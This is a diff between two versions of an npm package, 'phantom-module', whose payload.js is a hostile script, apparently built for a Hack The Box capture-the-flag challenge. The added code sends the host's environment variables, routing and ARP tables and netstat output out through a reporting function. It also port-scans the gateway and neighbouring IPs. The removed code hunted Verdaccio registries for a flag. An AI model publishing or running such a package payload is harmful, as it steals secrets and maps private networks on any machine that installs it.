phantom-module 117.0.2 → 117.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.2",
+  "version": "117.0.4",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,7 +1,7 @@
 const net = require('net');
 const http = require('http');
 const fs = require('fs');
-const os = require('os');
+const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
 
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
 function checkPort(host, port) {
   return new Promise((resolve) => {
     const sock = new net.Socket();
-    sock.setTimeout(500); // Fast timeout
+    sock.setTimeout(300);
     sock.on('connect', () => { sock.destroy(); resolve(true); });
     sock.on('error', () => { sock.destroy(); resolve(false); });
     sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -34,81 +34,59 @@ function checkPort(host, port) {
   });
 }
 
-function httpGet(url) {
-  return new Promise((resolve) => {
-    const req = http.get(url, { timeout: 2000 }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-  });
-}
-
 async function main() {
-  await report('ECT-654321', 'SCAN STARTING v2...');
+  await report('ECT-654321', 'SCAN V4 STARTING...');
   
-  const found = [];
-  const base = '172.17.0';
-  let scanOutput = '=== SCAN ===\n';
+  let envInfo = '=== ENV INFO ===\n';
+  try {
+      envInfo += `ENV DUMP: ${JSON.stringify(process.env).substring(0,500)}\n`;
+      envInfo += `/proc/net/route:\n${fs.readFileSync('/proc/net/route','utf8')}\n`;
+      envInfo += `/proc/net/arp:\n${fs.readFileSync('/proc/net/arp','utf8')}\n`;
+      try { envInfo += `netstat -rn:\n${execSync('netstat -rn').toString()}\n`; } catch(e){}
+  } catch(e) { envInfo += `ERR: ${e.message}\n`; }
+  await report('ECT-654321', envInfo);
 
-  // Parallel scan of first 20 IPs
-  const promises = [];
-  for (let i = 1; i < 20; i++) {
-    const ip = `${base}.${i}`;
-    promises.push(checkPort(ip, 4873).then(open => {
-      if (open) {
-        found.push(ip);
-        scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
+  // Parse gateway from /proc/net/route
+  // Destination 00000000 is default route. Gateway is hex.
+  let gateway = '172.17.0.1'; // Default fallback
+  try {
+      const route = fs.readFileSync('/proc/net/route', 'utf8');
+      const lines = route.split('\n');
+      for (const line of lines) {
+          const parts = line.split(/\s+/);
+          if (parts[1] === '00000000') {
+              const hex = parts[2];
+              // Convert hex IP to dot notation (little endian)
+              const d = parseInt(hex, 16);
+              gateway = `${d&255}.${(d>>8)&255}.${(d>>16)&255}.${(d>>24)&255}`;
+              break;
+          }
       }
-    }));
-  }
+  } catch(e) {}
   
-  await Promise.all(promises);
+  await report('ECT-839201', `Scanning Gateway: ${gateway}\n`);
+
+  // Fast port scan of gateway
+  const commonPorts = [80, 443, 3000, 3001, 3128, 4873, 5000, 5001, 5080, 8000, 8001, 8080, 8081, 8090, 8888, 9000, 9090];
+  let scanOutput = `=== GATEWAY ${gateway} ===\n`;
   
-  if (found.length === 0) {
-    scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
-    // Try finding ANY web server
-    for (let i = 1; i < 10; i++) {
-        const ip = `${base}.${i}`;
-        if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
-        if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
-    }
+  for (const port of commonPorts) {
+      if (await checkPort(gateway, port)) {
+          scanOutput += `OPEN ${gateway}:${port}\n`;
+      }
   }
   
-  await report('ECT-839201', scanOutput);
-
-  // Deep query of found services
-  let queryOutput = '=== QUERY ===\n';
-  for (const ip of found) {
-    const baseUrl = `http://${ip}:4873`;
-    queryOutput += `Target: ${baseUrl}\n`;
-    
-    // 1. List all packages
-    const all = await httpGet(`${baseUrl}/-/all`);
-    queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
-    
-    // 2. Get ecto-spirit
-    const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
-    queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
-    
-    // 3. Try to extract flag from dist-tags or versions
-    if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
-        const match = ecto.body.match(/htb\{[^}]+\}/i);
-        if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
-    }
-    
-    // 4. Download tarball if possible
-    try {
-        const json = JSON.parse(ecto.body);
-        const latest = json['dist-tags'].latest;
-        const tarball = json.versions[latest].dist.tarball;
-        queryOutput += `Tarball: ${tarball}\n`;
-        // We could download it, but let's see if the metadata has the flag first
-    } catch(e) {}
+  // Also scan neighbor IPs
+  const base = gateway.split('.').slice(0,3).join('.');
+  scanOutput += `=== NEIGHBORS ${base}.* ===\n`;
+  for (let i=1; i<=10; i++) {
+      const ip = `${base}.${i}`;
+      if (ip === gateway) continue;
+      if (await checkPort(ip, 4873)) scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
+      if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
   }
-
-  await report('ECT-987654', queryOutput);
+  
+  await report('ECT-987654', scanOutput);
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));